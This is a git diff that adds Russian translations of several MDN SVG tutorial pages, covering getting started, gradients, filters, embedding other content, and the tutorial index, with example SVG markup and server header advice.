--- /dev/null
+++ b/files/ru/web/svg/tutorial/filter_effects/index.html
@@ -0,0 +1,14 @@
+---
+title: Фильтры
+slug: Web/SVG/Tutorial/Filter_effects
+translation_of: Web/SVG/Tutorial/Filter_effects
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Other_content_in_SVG", "Web/SVG/Tutorial/SVG_Fonts") }}</p>
+
+<p>Бывают ситуации, при которых базовые фигуры не обеспечивают гибкость, необходимую для достижения определенного эффекта. Тени, например, не могут быть созданы с помощью комбинации градиентов. Фильтры - это механизм SVG для создания сложных эффектов. <br>
+ <br>
+ Основным примером может послужить эффект размытия в SVG. Базовый эффект размытия может быть достигнут с помощью градиентов, фильтр размытия необходим, чтобы сделать что-либо большее.</p>
+
+<p>Вы можете получить полную информацию об SVG фильтрах на <a href="https://www.w3.org/TR/SVG/filters.html">W3C Recommendation</a>.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Other_content_in_SVG", "Web/SVG/Tutorial/SVG_Fonts") }}</p>
diff --git a/files/ru/web/svg/tutorial/getting_started/index.html b/files/ru/web/svg/tutorial/getting_started/index.html
new file mode 100644
index 0000000000..5882814c4a
--- /dev/null
+++ b/files/ru/web/svg/tutorial/getting_started/index.html
@@ -0,0 +1,93 @@
+---
+title: Начало работы
+slug: Web/SVG/Tutorial/Getting_Started
+tags:
+  - SVG
+  - 'SVG:Руководство'
+translation_of: Web/SVG/Tutorial/Getting_Started
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Introduction", "Web/SVG/Tutorial/Positions") }}</p>
+
+<h3 id="A_Simple_Example" name="A_Simple_Example">Простой пример</h3>
+
+<p>Давайте начнем наше погружение с простого примера. Посмотрите на код, представленный ниже:</p>
+
+<pre class="brush: xml">&lt;svg version="1.1"
+     baseProfile="full"
+     width="300" height="200"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect width="100%" height="100%" fill="red" /&gt;
+
+  &lt;circle cx="150" cy="100" r="80" fill="green" /&gt;
+
+  &lt;text x="150" y="125" font-size="60" text-anchor="middle" fill="white"&gt;SVG&lt;/text&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>Скопируйте код и вставьте его в файл demo1.svg. После чего откройте его в Firefox. Браузер отобразит Вам следующее изображение (пользователи Firefox: нажмите <a class="external" href="http://developer.mozilla.org/@api/deki/files/4571/=svgdemo1.xml" title="http://developer.mozilla.org/@api/deki/files/4571/=svgdemo1.xml">сюда</a>):</p>
+
+<p><img alt="svgdemo1.png" class="default internal" src="/@api/deki/files/4928/=svgdemo1.png"></p>
+
+<p>Процесс отображения включает следующее:</p>
+
+<ol>
+ <li>Мы начинаем с корневого элемента <code>svg</code>:
+
+  <ul>
+   <li>как известно из (X)HTML, декларацию doctype следует опустить, потому что DTD на основе валидации SVG приводит к бо́льшим проблемам, чем их решает</li>
+   <li>до SVG 2, чтобы обозначить версию SVG для других типов вилидации, всегда следует использовать атрибуты <code>version</code> и <code>baseProfile</code>. Но в SVG 2 оба эти атрибута <code>version</code> и <code>baseProfile</code> обрели статус не рекомендованных</li>
+   <li>как диалект XML, SVG всегда правильно должен связывать простанства имен (в атрибуте xmlns). Смотри страницу <a href="/en/docs/Web/SVG/Namespaces_Crash_Course" title="en-US/Web/SVG/Namespaces_Crash_Course">Namespaces Crash Course</a> для большей информации.</li>
+  </ul>
+ </li>
+ <li>Фон устанавливается красным при помощи рисования прямоугольника <a href="/en-US/Web/SVG/Element/rect" title="en-US/Web/SVG/Element/rect"><code>&lt;rect/&gt;</code></a>, который покрывает всю область изображения</li>
+ <li>Зеленый круг <a href="/en-US/Web/SVG/Element/circle" title="en-US/Web/SVG/Element/circle"><code>&lt;circle/&gt;</code></a> с радиусом 80px рисуется поверх центра красного прямоугольника (центр круга смещен на 150px вправо, и 100px вниз).</li>
+ <li>Текст "SVG" рисуется. Внутренняя часть каждой буквы наполняется белым. Расположение текста определяется привязкой, где мы хотим, чтобы была середина: в этом случае середина должна соответствовать центру зеленого круга. Для улучшения эстетического вида можно сделать точные настройки размера шрифта и вертикального положения.</li>
+</ol>
+
+<h3 id="Основные_свойства_файлов_SVG">Основные свойства файлов SVG</h3>
+
+<ul>
+ <li>Первая важная вещь, которую следует заметить - это порядок отображения элементов. Глобально действующее правило для файлов SVG - элементы, <em>которые отрендерились позднее</em>, отображаются <em>поверх </em>предыдущих элементов. Чем дальше вниз элемент (по коду / порядку рендеринга), тем более видимым он будет.</li>
+ <li>Файлы SVG в вэбе могут быть отображены прямо в браузере или внедрены в файлы HTML посредством нескольких методов:
+  <ul>
+   <li>Если HTML является XHTML и выводится как тип приложение<code>/xhtml+xml</code>, SVG может быть прямо внедрён в источник XML.</li>
+   <li>Если HTML является HTML5, и браузер совместим с HTML5, SVG может быть прямо внедрён тоже. Однако, возможны синтаксические изменения для соответствия с HTML5 спецификацией</li>
+   <li>На файл SVG можно ссылаться с помощью элемента <code>object</code>:
+    <pre>        &lt;object data="image.svg" type="image/svg+xml" /&gt;</pre>
+   </li>
+   <li>Аналогично может быть использован элемент <code>iframe</code>:
+    <pre>        &lt;iframe src="image.svg"&gt;&lt;/iframe&gt;</pre>
+   </li>
+   <li>Элемент <code>img</code> тоже может быть использован теоретически. Однако эта техника не работает в Firefox до версии 4.0.</li>
+   <li>Наконец SVG может быть создан динамически с помощью JavaScript и введён в HTML DOM. Этот способ имеет преимущество тем, что могут быть реализованы замещающие технологии для браузеров, которые не могут воспроизводить SVG.</li>
+  </ul>
+  Смотри <a href="/en-US/docs/SVG_In_HTML_Introduction" title="svg in html introduction">эту статью</a> для более глубокого знакомства с темой.</li>
+ <li>Как SVG управляет размерами и единицами будет объяснено <a href="/en-US/Web/SVG/Tutorial/Positions" title="en-US/Web/SVG/Tutorial/Positions">на следующей странице</a>.</li>
+</ul>
+
+<h3 id="SVG_File_Types" name="SVG_File_Types">Типы SVG файлов</h3>
+
+<p>Файлы SVG бывают двух видов. Нормальные файлы SVG - это простые текстовые файлы, содержащие разметку SVG. Рекомендуется расширение ".svg" (все нижним регистром) к имени файла для этих файлов.</p>
+
+<p>Благодаря потенциально массивному размеру, который файлы SVG могут иметь при использовании в некоторых приложениях (например, географические приложения), спецификация SVG также допускает gzip-архивированные файлы SVG. Рекомендуется расширение ".svgz" (все нижним регистром) к имени файла. К сожалению, очень проблематично получить gzip-архивированные файлы SVG для надёжной работы со всеми SVG совместимыми пользовательскими агентами при управлении с сервера Microsofts IIS, когда Firefox не может загрузить gzip-архивированный SVG с локального компьютера. Избегайте gzip-архивированного SVG, кроме случаев, когда вы публикуетесь на вебсервере, в корректной работе которого вы уверены (смотри ниже).</p>
+
+<h3 id="A_Word_on_Webservers" name="A_Word_on_Webservers">Слово о Вебсерверах</h3>
+
+<p>Теперь, когда вы имеете представление о том, как создавать основные файлы SVG, следующим шагом будет загрузить их на Вебсервер. Но на этом этапе существуют некоторые подводные камни. Для нормальных файлов SVG, сервера должны посылать заголовки HTTP:</p>
+
+<pre>Content-Type: image/svg+xml
+Vary: Accept-Encoding</pre>
+
+<p>Для gzip-архивированных файлов SVG, сервера должны посылать заголовки HTTP:</p>
+
+<pre>Content-Type: image/svg+xml
+Content-Encoding: gzip
+Vary: Accept-Encoding</pre>
+
+<p>Вы можете проверить, правильные ли заголовки HTTP  посылает ваш сервер с файлами SVG, используя <a href="/en-US/docs/Tools/Network_Monitor#Headers">Network Monitor panel</a> или сайт, такой как <a class="external" href="http://web-sniffer.net/">web-sniffer.net</a>. Введите URL одного из файлов SVG и смотрите на заголовки ответа HTTP. Если вы обнаружите, что сервер не посылает заголовки с величинами, данными выше - вам следует связаться с вашим хостингом. Если у вас возникнут проблемы с тем, чтобы корректно сконфигурировать их сервера для SVG, существуют способы сделать это самостоятельно. Смотри <a class="external" href="http://svg-whiz.com/wiki/index.php?title=Server_Configuration">server configuration page</a> на странице SVG wiki о ряде простых решений.</p>
+
+<p>Неверная конфигурация сервера является очень частой причиной в невозможности загрузить SVG, поэтому убедитесь, что вы проверили конфигурацию вашего сервера. Если ваш сервер не сконфигурирован для того, чтобы посылать правильные заголовки с файлами SVG, тогда Firefox будет вероятнее всего показывать разметку файлов как текст или кодированный мусор, или даже спрашивать программу просмотра выбрать приложение, чтобы открыть их.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Introduction", "Web/SVG/Tutorial/Positions") }}</p>
diff --git a/files/ru/web/svg/tutorial/gradients/index.html b/files/ru/web/svg/tutorial/gradients/index.html
new file mode 100644
index 0000000000..bdb5e39461
--- /dev/null
+++ b/files/ru/web/svg/tutorial/gradients/index.html
@@ -0,0 +1,181 @@
+---
+title: Градиенты
+slug: Web/SVG/Tutorial/Gradients
+translation_of: Web/SVG/Tutorial/Gradients
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Fills_and_Strokes", "Web/SVG/Tutorial/Patterns") }}</p>
+
+<p>Возможность создания и использования градиентов, также как заливки и обводки, более интересна, чем просто заливка или обводка.</p>
+
+<p>Есть два типа градиентов: линейный и радиальный. Вы должны присвоить градиенту атрибут <code><strong>id</strong>, </code>в противном случае на него не смогут ссылаться другие элементы внутри файла. Градиенты определяются в секции <code>defs, </code>а не в самой фигуре. Это позволяет их использовать многократно.</p>
+
+<h2 id="SVGLinearGradient" name="SVGLinearGradient">Линейный градиент (Linear Gradient)</h2>
+
+<p>Линейные градиенты изменяются вдоль прямой линии. Чтобы вставить градиент, нужно создать ноду {{SVGElement('linearGradient')}} внутри секции <code>&lt;defs&gt; </code>SVG файла.</p>
+
+<h3 id="Basic_example">Basic example</h3>
+
+<pre class="brush: html notranslate">&lt;svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+      &lt;linearGradient id="Gradient1"&gt;
+        &lt;stop class="stop1" offset="0%"/&gt;
+        &lt;stop class="stop2" offset="50%"/&gt;
+        &lt;stop class="stop3" offset="100%"/&gt;
+      &lt;/linearGradient&gt;
+      &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="50%" stop-color="black" stop-opacity="0"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/linearGradient&gt;
+      &lt;style type="text/css"&gt;&lt;![CDATA[
+        #rect1 { fill: url(#Gradient1); }
+        .stop1 { stop-color: red; }
+        .stop2 { stop-color: black; stop-opacity: 0; }
+        .stop3 { stop-color: blue; }
+      ]]&gt;&lt;/style&gt;
+  &lt;/defs&gt;
+
+  &lt;rect id="rect1" x="10" y="10" rx="15" ry="15" width="100" height="100"/&gt;
+  &lt;rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#Gradient2)"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('SVGLinearGradient','120','240','/files/722/SVG_Linear_Gradient_Example.png') }}</p>
+
+<p>Выше находится пример линейного градиента, который применен к элементу <code>&lt;rect&gt;. </code>Внутри линейного градиента есть несколько {{SVGElement('stop')}} нод.. Эти ноды сообщают градиенту, какой цвет он должен использовать в позициях, определенных атрибутом <code>offset </code>для позиции и атрибутом <code>stop-color. </code>Это может быть задано прямо в SVG или через CSS. В целях этого примера оба метода были смешаны. Например, <em>Gradient1</em> начинается с красного цвета, изменяется до прозрачно-черного в середине и заканчивается синим цветом. Вы можете вставить столько стоп-цветов, сколько нужно, чтобы создать смесь, которая будет красивой или ужасной, как вам нужно. Границы всегда должны изменяться от 0% (или от 0, если вы хотите опустить знак %) до 100% (или 1). Повторяющиеся значения будут использовать стоп, который будет находится дальше всех по XML-дереву. Также, подобно заливке и обводке, вы можете определить атрибут <code>stop-opacity, </code>чтобы задать прозрачность в этой позиции (опять же, в FF3+ можно также использовать rgba-значения для этого).</p>
+
+<pre class="eval notranslate"> &lt;stop offset="100%" stop-color="yellow" stop-opacity="0.5"/&gt;
+</pre>
+
+<p>Чтобы использовать градиент, мы должны сослаться на него из атрибутов объекта <code>fill/stroke</code>. Это делается таким же образом, как вы ссылаетесь на элементы в CSS, используя <code>url</code>. В этом случае, url - это просто ссылка на наш градиент, которому задан уникальный ID, "<em>Gradient". </em>Чтобы добавить его, установим <code>fill="url(#Gradient)"</code>. Наш объект теперь многоцветный. То же самое можно сделать с атрибутом <code>stroke</code>.</p>
+
+<p>Элемент <code>&lt;linearGradient&gt;</code> также принимает некоторые другие атрибуты, который определяют размер и внешний вид градиента. Направление градиента контролируется двумя точками, обозначенными атрибутами <code>x1, x2, y1, y2</code>. Эти атрибуты определяют линию, вдоль которой двигается градиент. По умолчанию градиент имеет горизонтальную ориентацию, но это может быть изменено с помощью этих атрибутов. Gradient2 в примере выше предназначен для создания вертикального градиента.</p>
+
+<pre class="eval notranslate"> &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"&gt;
+</pre>
+
+<div class="note">
+<p><strong>Замечание: </strong>Вы также можете использовать атрибут <code>xlink:href </code>для градиентов. Когда он использован, атрибуты и стопы из одного градиента могут быть включены в другой. В примере выше можно было бы не пересоздавать все точки остановки в Gradient2<strong>.</strong></p>
+
+<pre class="eval notranslate"> &lt;linearGradient id="Gradient1"&gt;
+   &lt;stop id="stop1" offset="0%"/&gt;
+   &lt;stop id="stop2" offset="50%"/&gt;
+   &lt;stop id="stop3" offset="100%"/&gt;
+ &lt;/linearGradient&gt;
+ &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"
+    xmlns:xlink="<a class="external" href="http://www.w3.org/1999/xlink" rel="freelink">http://www.w3.org/1999/xlink</a>" xlink:href="#Gradient1"/&gt;
+</pre>
+
+<p>Я включил пространство имён xlink прямо в ноду, хотя обычно вы хотели бы определить его в верхней части вашего документа. Подробнее об этом мы <a href="https://developer.mozilla.org/en-US/Web/SVG/Tutorial/Other_content_in_SVG">поговорим в разделе изображений</a>.</p>
+</div>
+
+<h2 id="Radial_Gradient" name="Radial_Gradient">Радиальные градиенты</h2>
+
+<p>Радиальные градиенты похожи на линейные, но рисуют градиент, который "излучается" из точки. Для создания градиента Вам необходимо добавить элемент {{SVGElement('radialGradient')}} в секцию <strong>defs</strong>.</p>
+
+<h3 id="Basic_example_2">Basic example</h3>
+
+<pre class="brush: html notranslate">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+      &lt;radialGradient id="RadialGradient1"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+      &lt;radialGradient id="RadialGradient2" cx="0.25" cy="0.25" r="0.25"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#RadialGradient1)"/&gt;
+  &lt;rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#RadialGradient2)"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('Basic_example_2','120','240','/files/726/SVG_Radial_Gradient_Example.png') }}</p>
+
+<p>Аттрибуты <strong>stop</strong>, используемые здесь - отвечают за то же, что и в линейных градиентах. Однако сейчас объект будет красным в центре и постепенно меняться к синему цвету, "двигаясь" к краям. Как и линейный градиент, элемент <code>&lt;radialGradient&gt;</code> может иметь несколько аттрибутов, описывающих его позицию и ориентацию (направленность?). Однако, в отличие от линейных градиентов, радиальные немного сложнее. Радиальные градиенты задаются двумя "точками", которые определят где будут границы. Первая "точка" определяет окружность, где градиент заканчивается. Для этого нам потребуется центр круга, который обозначается как <strong>cx</strong> и <strong>cy</strong>, и радиус - <strong>r</strong>. Изменяя эти аттрибуты, вы можете "двигать" внешнюю границу градиента и менять ее размер, как показано во втором прямоугольнике выше.</p>
+
+<p>Вторая "точка" называется <strong>фокальной</strong> и задается аттрибутами <strong>fx</strong> и <strong>fy</strong>. В то время как первые "точки" указывают на внешнюю границу градиента, фокальная "точка" определяет где должна быть его <strong>середина</strong>. Это легко увидеть на примере.</p>
+
+<h3 id="Center_and_focal_point">Center and focal point</h3>
+
+<pre class="brush: html notranslate">&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;svg width="120" height="120" version="1.1"
+  xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+      &lt;radialGradient id="Gradient"
+            cx="0.5" cy="0.5" r="0.5" fx="0.25" fy="0.25"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="10" y="10" rx="15" ry="15" width="100" height="100"
+        fill="url(#Gradient)" stroke="black" stroke-width="2"/&gt;
+
+  &lt;circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/&gt;
+  &lt;circle cx="35" cy="35" r="2" fill="white" stroke="white"/&gt;
+  &lt;circle cx="60" cy="60" r="2" fill="white" stroke="white"/&gt;
+  &lt;text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt"&gt;(fx,fy)&lt;/text&gt;
+  &lt;text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt"&gt;(cx,cy)&lt;/text&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('Center_and_focal_point','120','120','/files/727/SVG_Radial_Grandient_Focus_Example.png') }}</p>
+
+<p>Если фокальная точка передвинута за границы круга, то градиент будет отрисован некорректно. Поэтому фокальная точка обязательно должна быть внутри границы круга (или на самой границе). Если фокальная точка не указана, то по дефолту она совпадает с центром круга.</p>
+
+<p>Линейный и радиальный градиенты также принимают несколько аттрибутов, описывающих как они могут изменяться. Единственный аттрибут, о котором я хотел бы рассказать более подробно - это <strong><code>spreadMethod</code></strong><code>. Этот аттрибут указывает, что должно происходить, когда градиент "достигает" внешней границы градиента, но объект еще не заполнен. Аттрибут может принимать одно и трех значений:</code>"pad", "reflect", или"repeat". "<strong>Pad</strong>" - это то что вы пока что видели: когда градиент достигает "краев", финальный цвет используется для заполнения оставшейся области. "Reflect" - градиент продолжает "двигаться" в "зеркальном" отражении (стартовый цвет берется из 100%, а конечный из 0%). А затем снова "переворачивается". И так до тех пор пока не достигнет края.</p>
+
+<h3 id="spreadMethod">spreadMethod</h3>
+
+<pre class="brush: html notranslate">&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;svg width="220" height="220" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+      &lt;radialGradient id="GradientPad"
+            cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75"
+            spreadMethod="pad"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+      &lt;radialGradient id="GradientRepeat"
+            cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75"
+            spreadMethod="repeat"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+      &lt;radialGradient id="GradientReflect"
+            cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75"
+            spreadMethod="reflect"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#GradientPad)"/&gt;
+  &lt;rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#GradientRepeat)"/&gt;
+  &lt;rect x="120" y="120" rx="15" ry="15" width="100" height="100" fill="url(#GradientReflect)"/&gt;
+
+  &lt;text x="15" y="30" fill="white" font-family="sans-serif" font-size="12pt"&gt;Pad&lt;/text&gt;
+  &lt;text x="15" y="140" fill="white" font-family="sans-serif" font-size="12pt"&gt;Repeat&lt;/text&gt;
+  &lt;text x="125" y="140" fill="white" font-family="sans-serif" font-size="12pt"&gt;Reflect&lt;/text&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('spreadMethod','220','220','/files/728/SVG_SpreadMethod_Example.png') }}</p>
+
+<p>У обоих типов градиентов также есть атрибут <code><strong>gradientUnits</strong></code>, который описывает систему измерений, которую Вы собираетесь использовать, когда описываете размеры или ориентацию или градиен. Данный атрибут принимает 2 возможных значения: <strong><code>userSpaceOnUse</code></strong><code> </code>или <strong><code>objectBoundingBox </code></strong>(дефолтное, показывалось во всех примерах выше). <strong><code>objectBoundingBox </code></strong>автоматически адаптирует градиент к размеру объекта, так что Вы можете указать координаты в виде значений от 0 до 1, и браузер автоматически их отпозиционирует. <strong><code>userSpaceOnUse </code></strong>позиционирует градиент в абсолютных единицах измерения, так что Вам необходимо знать где находится целевой объект, чтобы правильно применить к нему градиент. radialGradient  выше может быть переписан:</p>
+
+<pre class="eval notranslate"> &lt;radialGradient id="Gradient" cx="60" cy="60" r="50" fx="35" fy="35" gradientUnits="userSpaceOnUse"&gt;
+</pre>
+
+<p>Вы также можете применить иную трансформацию к градиенту, используя аттрибут <strong><code>gradientTransform</code></strong>, но мы пока что <a href="/en-US/Web/SVG/Tutorial/Basic_Transformations">его не изучали</a>, я осталю это на потом.<br>
+ <br>
+ Существуют и другие предостережения для работы с <br>
+ <code>gradientUnits="objectBoundingBox"</code>, когда поле ограничения объекта не является квадратным, но они довольно сложны и им придется ждать, пока кто-то другой не соизволит объяснить их.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Fills_and_Strokes", "Web/SVG/Tutorial/Patterns") }}</p>
diff --git a/files/ru/web/svg/tutorial/index.html b/files/ru/web/svg/tutorial/index.html
new file mode 100644
index 0000000000..ef0fc0459c
--- /dev/null
+++ b/files/ru/web/svg/tutorial/index.html
@@ -0,0 +1,56 @@
+---
+title: SVG — учебное руководство
+slug: Web/SVG/Tutorial
+tags:
+  - Intermediate
+  - NeedsContent
+  - NeedsUpdate
+  - SVG
+  - 'SVG:Руководство'
+translation_of: Web/SVG/Tutorial
+---
+<p>Масштабируемая векторная графика (<a href="/en-US/Web/SVG" title="en-US/Web/SVG">SVG</a>), — это подмножество расширяемого языка разметки XML созданный Консорциумом Всемирной паутины (W3C). Эта технология реализована в Firefox, Opera, Internet Explorer, WebKit и в прочих браузерах.</p>
+
+<p>Это учебное пособие призвано обьяснить Вам суть технологии SVG и ознакомить с её техническими деталями. Если Вы хотите только рисовать красивые изображения, то Вы можете найти более полезные учебные ресурсы. Есть хорошее учебное пособие для знакомства с SVG — это учебное пособие от W3C <a class="external" href="http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html" title="http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html">SVG Primer</a>.</p>
+
+<div class="note">Это учебное пособие находится в стадии разработки. Если Вы можете, то, пожалуйста, помогите с написанием одного или нескольких параграфов. Плюс балл Гриффиндору за написание целой страницы!</div>
+
+<h5 id="Введение_в_SVG">Введение в SVG</h5>
+
+<ul>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/Введение" title="en-US/Web/SVG/Tutorial/Introduction">Введение</a></li>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/Getting_Started" title="en-US/Web/SVG/Tutorial/Getting_Started">Начало работы</a></li>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/Позиции" title="en-US/Web/SVG/Tutorial/Positions">Расположение(Позиция)</a></li>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/Основные_Фигуры" title="en-US/Web/SVG/Tutorial/Basic_Shapes">Основные фигуры</a></li>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/Paths" title="en-US/Web/SVG/Tutorial/Paths">Пути(Paths)</a></li>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/Fills_and_Strokes" title="en-US/Web/SVG/Tutorial/Fills_and_Strokes">Заливка и обводка</a></li>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/Gradients" title="en-US/Web/SVG/Tutorial/Gradients">Градиенты</a></li>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/Patterns" title="en-US/Web/SVG/Tutorial/Patterns">Паттерны(Шаблоны)</a></li>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/Texts" title="en-US/Web/SVG/Tutorial/Texts">Текст</a></li>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/Базовые_Преобразования" title="en-US/Web/SVG/Tutorial/Basic_Transformations">Базовые трансформации</a></li>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/Clipping_and_masking" title="en-US/Web/SVG/Tutorial/Clipping_and_masking">Обрезка и маска</a></li>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/Other_content_in_SVG" title="en-US/Web/SVG/Tutorial/Other content in SVG">Другой контент в SVG</a></li>
+ <li><a href="/ru/Web/SVG/Tutorial/Filter_effects" title="en-US/Web/SVG/Tutorial/Filter effects">Фильтры</a></li>
+ <li><a href="/ru/Web/SVG/Tutorial/SVG_fonts" title="en-US/Web/SVG/Tutorial/SVG fonts">SVG-шрифты</a></li>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/SVG_Image_Tag" title="en-US/Web/SVG/Tutorial/SVG Image Tag">SVG-тег Image</a></li>
+ <li><a href="/ru/docs/Web/SVG/Tutorial/Tools_for_SVG" title="en-US/Web/SVG/Tutorial/Tools_for_SVG">Инструменты для SVG</a></li>
+ <li><a href="/ru/docs/Web/Guide/CSS/Getting_started/SVG_%D0%B8_CSS">SVG и CSS</a></li>
+</ul>
+
+<p>Следующие темы более обширные, и они требуют отдельных учебных пособий.</p>
+
+<h5 id="Написание_SVG_с_JavaScript">Написание SVG с JavaScript</h5>
+
+<p>БОП</p>
+
+<h5 id="SVG-фильтры_—_руководство">SVG-фильтры — руководство</h5>
+
+<p>БОП</p>
+
+<h5 id="Анимация_с_помощью_SMIL_в_SVG">Анимация с помощью SMIL в SVG</h5>
+
+<p>БОП</p>
+
+<h5 id="Создание_шрифтов_в_SVG">Создание шрифтов в SVG</h5>
+
+<p>БОП</p>
diff --git a/files/ru/web/svg/tutorial/other_content_in_svg/index.html b/files/ru/web/svg/tutorial/other_content_in_svg/index.html
new file mode 100644
index 0000000000..af90be1201
--- /dev/null
+++ b/files/ru/web/svg/tutorial/other_content_in_svg/index.html
@@ -0,0 +1,39 @@
+---
+title: Другое содержание в SVG
+slug: Web/SVG/Tutorial/Other_content_in_SVG
+tags:
+  - SVG
+  - 'SVG:Руководство'
+translation_of: Web/SVG/Tutorial/Other_content_in_SVG
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Clipping_and_masking", "Web/SVG/Tutorial/Filter_effects") }}</p>
+
+<p>Помимо графических примитивов, таких как прямоугольники и круги, SVG предлагает набор элементов для встраивания других типов контента в изображения.</p>
+
+<h3 id="Встраивание_растровых_изображений">Встраивание растровых изображений</h3>
+
+<p>Так же, как элемент img в HTML SVG имеет элемент изображения, служащий той же цели. Вы можете использовать его для встраивания произвольных растровых (и векторных) изображений. Спецификация запрашивает приложения для поддержки файлов формата PNG, JPEG и SVG.</p>
+
+<p>Встроенное изображение становится обычным элементом SVG. Это означает, что вы можете использовать клипы, маски, фильтры, вращения и все другие инструменты SVG для контента:</p>
+
+<pre class="brush: html">&lt;svg version="1.1"
+     xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
+     width="200" height="200"&gt;
+  &lt;image x="90" y="-65" width="128" height="146" transform="rotate(45)"
+     xlink:href="https://developer.mozilla.org/static/img/favicon144.png"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('Встраивание_растровых_изображений','220','220','/files/16567/rotate-image-demo.png') }}</p>
+
+<h3 id="Внедрение_произвольного_XML">Внедрение произвольного XML</h3>
+
+<p>Поскольку SVG является XML-приложением, вы можете, конечно, всегда вставлять произвольный XML в любом месте документа SVG. Но тогда у вас нет средств для определения того, как окружающий SVG должен реагировать на содержимое. Собственно, в соответствующем обозревателе он совсем не реагирует, данные просто будут опущены.<br>
+ Поэтому спецификация добавляет элемент <code>{{ SVGElement("foreignObject") }}</code> в SVG. Его единственная цель - быть контейнером для другой разметки и носителем для атрибутов стиля SVG (наиболее заметны ширина и высота для определения пространства, которое будет занимать объект).</p>
+
+<p>Элемент <code>foreignObject</code> - хороший способ вставки XHTML в SVG. Если у вас есть более длинные тексты, макет HTML более подходит и удобен, чем текстовый элемент SVG. Другим часто упоминаемым примером использования является вложение формул с MathML. Для научных приложений SVG это очень хороший способ вступить в оба мира.</p>
+
+<div class="note"><strong>Note:</strong> Please keep in mind, that the content of the <code>foreignObject</code> must be processable by the viewer. A standalone SVG viewer is unlikely to be able to render HTML or MathML.</div>
+
+<p>Поскольку <code>foreignObject</code> является элементом SVG, вы можете, как и в случае с изображением, использовать с ним любую добросовестность SVG, которая затем будет применяться к его контенту.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Clipping_and_masking", "Web/SVG/Tutorial/Filter_effects") }}</p>
diff --git a/files/ru/web/svg/tutorial/paths/index.html b/files/ru/web/svg/tutorial/paths/index.html
new file mode 100644
index 0000000000..63d4cf6412
--- /dev/null
+++ b/files/ru/web/svg/tutorial/paths/index.html
@@ -0,0 +1,234 @@
+---
+title: Пути (paths)
+slug: Web/SVG/Tutorial/Paths
+translation_of: Web/SVG/Tutorial/Paths
+---
